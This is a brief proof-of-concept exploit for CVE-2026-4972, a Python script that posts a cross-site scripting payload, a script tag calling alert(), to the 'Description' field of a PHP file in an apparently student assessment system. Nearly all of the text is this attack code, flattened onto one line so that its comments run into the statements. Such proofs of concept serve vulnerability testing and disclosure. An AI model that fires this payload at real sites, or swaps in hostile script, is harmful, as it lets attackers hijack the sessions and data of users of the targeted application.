CVE-2026-4972

import requests # Target URL of the vulnerable file target_url = "http://target-ip/system/system/students/assessments/databank/btn_functions.php" # The 'Description' parameter is vulnerable to XSS # Payload attempts to inject a script tag to execute JavaScript xss_payload = '"><script>alert("XSS-Test-CVE-2026-4972")</script>' # Data to be sent in the POST request # Note: This attack requires High Privileges (PR:H) payload_data = { "Description": xss_payload, "other_param": "value" } try: response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("Payload sent successfully. Check the assessment page for the alert box.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

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